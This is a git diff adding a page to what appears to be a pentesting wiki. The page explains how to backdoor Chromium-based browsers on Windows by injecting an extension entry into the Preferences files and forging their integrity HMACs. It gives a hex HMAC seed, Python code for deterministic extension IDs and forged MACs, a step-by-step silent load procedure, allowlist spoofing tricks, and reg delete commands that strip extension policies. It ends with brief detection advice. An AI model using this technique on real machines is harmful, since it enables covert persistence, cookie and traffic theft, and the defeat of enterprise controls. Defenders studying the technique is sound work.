diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 463dfdab5..bf61c5855 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -590,6 +590,7 @@ - [BrowExt - ClickJacking](pentesting-web/browser-extension-pentesting-methodology/browext-clickjacking.md) - [BrowExt - permissions & host_permissions](pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md) - [BrowExt - XSS Example](pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md) + - [Forced Extension Load Preferences Mac Forgery Windows](pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md) - [Bypass Payment Process](pentesting-web/bypass-payment-process.md) - [Captcha Bypass](pentesting-web/captcha-bypass.md) - [Cache Poisoning and Cache Deception](pentesting-web/cache-deception/README.md) diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md index ade731991..0705db8b5 100644 --- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md +++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md @@ -692,6 +692,14 @@ In order to try to spot vulnerable browser extensions you could use the[https:// node query.js -f "metadata.user_count > 250000" "manifest.content_scripts?.length > 0 && manifest.permissions?.includes('nativeMessaging')" ``` +## Post-exploitation: Forced extension load & persistence (Windows) + +Stealthy technique to backdoor Chromium by directly editing per-user Preferences and forging valid HMACs, causing the browser to accept and activate an arbitrary unpacked extension without prompts or flags. + +{{#ref}} +forced-extension-load-preferences-mac-forgery-windows.md +{{#endref}} + ## Security Audit Checklist Even though Browser Extensions have a **limited attack surface**, some of them might contain **vulnerabilities** or **potential hardening improvements**. The following ones are the most common ones: @@ -761,5 +769,3 @@ Project Neto is a Python 3 package conceived to analyse and unravel hidden featu - [https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0](https://gist.github.com/LongJohnCoder/9ddf5735df3a4f2e9559665fb864eac0) {{#include ../../banners/hacktricks-training.md}} - - diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md new file mode 100644 index 000000000..931a9cc72 --- /dev/null +++ b/src/pentesting-web/browser-extension-pentesting-methodology/forced-extension-load-preferences-mac-forgery-windows.md @@ -0,0 +1,226 @@ +# Forced Extension Load & Preferences MAC Forgery (Windows) + +{{#include ../../banners/hacktricks-training.md}} + +## Overview + +Stealthy post-exploitation technique to force-load arbitrary extensions in Chromium-based browsers on Windows by editing a user’s Preferences/Secure Preferences and forging valid HMACs for the modified nodes. Works against Chrome/Chromium, Edge, and Brave. Observed to apply from Chromium 130 through 139 at publication time. A simple disk write primitive in the victim profile suffices to persist a full-privileged extension without command-line flags or user prompts. + +> Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry. + + +## Where extension state lives (Windows) + +- Non–domain‑joined Chrome profile: + - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root "super_mac"). +- Domain‑joined Chrome profile: + - %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences +- Key nodes used by Chromium: + - extensions.settings. → embedded manifest/metadata for the extension entry + - protection.macs.extensions.settings. → HMAC for that JSON blob + - Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate + +Simplified schema (illustrative): + +```json +{ + "extensions": { + "settings": { + "": { + "name": "Extension name", + "manifest_version": 3, + "version": "1.0", + "key": "", + "path": "", + "state": 1, + "from_bookmark": false, + "was_installed_by_default": false + // ...rest of manifest.json + required install metadata + } + }, + "ui": { "developer_mode": true } + }, + "protection": { + "macs": { + "extensions": { + "settings": { "": "" }, + "ui": { "developer_mode": "" } + } + } + } +} +``` + +Notes: +- Edge/Brave maintain similar structures. The protection seed value may differ (Edge/Brave were observed to use a null/other seed in some builds). + + +## Extension IDs: path vs key and making them deterministic + +Chromium derives the extension ID as follows: +- Packed/signed extension: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p +- Unpacked (no key in manifest): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p + +To keep a stable ID across hosts, embed a fixed base64 DER public key in manifest.json under "key". The ID will be derived from this key instead of the installation path. + +Helper to generate a deterministic ID and a key pair: + +```python +import base64 +import hashlib +from cryptography.hazmat.primitives import serialization +from cryptography.hazmat.primitives.asymmetric import rsa + +def translate_crx_id(s: str) -> str: + t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'} + return ''.join(t.get(c, c) for c in s) + +def generate_extension_keys() -> tuple[str,str,str]: + priv = rsa.generate_private_key(public_exponent=65537, key_size=2048) + pub = priv.public_key() + spki = pub.public_bytes(encoding=serialization.Encoding.DER, + format=serialization.PublicFormat.SubjectPublicKeyInfo) + crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex()) + pub_b64 = base64.b64encode(spki).decode('utf-8') + priv_der = priv.private_bytes(encoding=serialization.Encoding.DER, + format=serialization.PrivateFormat.TraditionalOpenSSL, + encryption_algorithm=serialization.NoEncryption()) + priv_b64 = base64.b64encode(priv_der).decode('utf-8') + return crx_id, pub_b64, priv_b64 + +print(generate_extension_keys()) +``` + +Add the generated public key into your manifest.json to lock the ID: + +```json +{ + "manifest_version": 3, + "name": "Synacktiv extension", + "version": "1.0", + "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..." +} +``` + + +## Forging Preferences integrity MACs (core bypass) + +Chromium protects preferences with HMAC‑SHA256 over "path" + serialized JSON value of each node. The HMAC seed is embedded in the browser’s resources.pak and was still valid up to Chromium 139. + +Extract the seed with GRIT pak_util and locate the seed container (file id 146 in tested builds): + +```bash +python3 pak_util.py extract resources.pak -o resources_v139/ +python3 pak_util.py extract resources.pak -o resources_v139_dirty/ +# compare a clean vs minimally modified resources.pak to spot the seed holder +xxd -p resources_v139/146 +# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8 +``` + +Compute MACs (uppercase hex) as: + +```text +ext_mac = HMAC_SHA256(seed, + "extensions.settings." + json.dumps()) + +devmode_mac = HMAC_SHA256(seed, + "extensions.ui.developer_mode" + ("true" or "false")) +``` + +Minimal Python example: + +```python +import json, hmac, hashlib + +def mac_upper(seed_hex: str, pref_path: str, value) -> str: + seed = bytes.fromhex(seed_hex) + # Compact JSON to match Chromium serialization closely + val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value + msg = (pref_path + val).encode('utf-8') + return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper() + +# Example usage +settings_path = f"extensions.settings.{crx_id}" +devmode_path = "extensions.ui.developer_mode" +ext_mac = mac_upper(seed_hex, settings_path, settings_json) +devmode_mac = mac_upper(seed_hex, devmode_path, "true") +``` + +Write the values under: +- protection.macs.extensions.settings. = ext_mac +- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134) + +Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly. + +> Implementation tips +> - Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues). +> - Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate. + + +## End‑to‑end silent load flow (Windows) + +1) Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts) +2) Create extensions.settings. by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.) +3) Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134) +4) Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges + + +## Bypassing enterprise controls + +- Whitelisted extension hash spoofing (ID spoofing) + 1) Install an allowed Web Store extension and note its ID + 2) Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx) + 3) Set that key as manifest.key in your modified extension to reproduce the same ID + 4) Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed + +- Extension stomping (ID collision precedence) + - If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF) + +- Neutralizing GPO via HKCU (requires admin) + - Chrome/Edge policies live under HKCU\Software\Policies\* + - With admin rights, delete/modify policy keys before writing your entries to avoid blocks: + +```powershell +reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f +reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f +``` + + +## Noisy fallback: command-line loading + +From Chromium ≥137, --load-extension requires also passing: + +```text +--disable-features=DisableLoadExtensionCommandLineSwitch +``` + +This approach is widely known and monitored (e.g., by EDR/DFIR; used by commodity malware like Chromeloader). Preference MAC forging is stealthier. + +Related flags and more cross‑platform tricks are discussed here: + +{{#ref}} +../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-chromium-injection.md +{{#endref}} + + +## Operational impact + +Once accepted, the extension runs with its declared permissions, enabling DOM access, request interception/redirects, cookie/storage access, and screenshot capture—effectively in‑browser code execution and durable user‑profile persistence. Remote deployment over SMB or other channels is straightforward because activation is data‑driven via Preferences. + + +## Detection and hardening + +- Monitor for non‑Chromium processes writing to Preferences/Secure Preferences, especially new nodes under extensions.settings paired with protection.macs entries +- Alert on unexpected toggling of extensions.ui.developer_mode and on HMAC‑valid but unapproved extension entries +- Audit HKCU/HKLM Software\Policies for tampering; enforce policies via device management/Chrome Browser Cloud Management +- Prefer forced‑install from the store with verified publishers rather than allowlists that match only on extension ID + + +## References + +- [The Phantom Extension: Backdooring chrome through uncharted pathways](https://www.synacktiv.com/en/publications/the-phantom-extension-backdooring-chrome-through-uncharted-pathways.html) +- [pak_util.py (GRIT)](https://chromium.googlesource.com/chromium/src/+/master/tools/grit/pak_util.py) +- [SecurePreferencesFile (prior research on HMAC seed)](https://github.com/Pica4x6/SecurePreferencesFile) +- [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome) + +{{#include ../../banners/hacktricks-training.md}}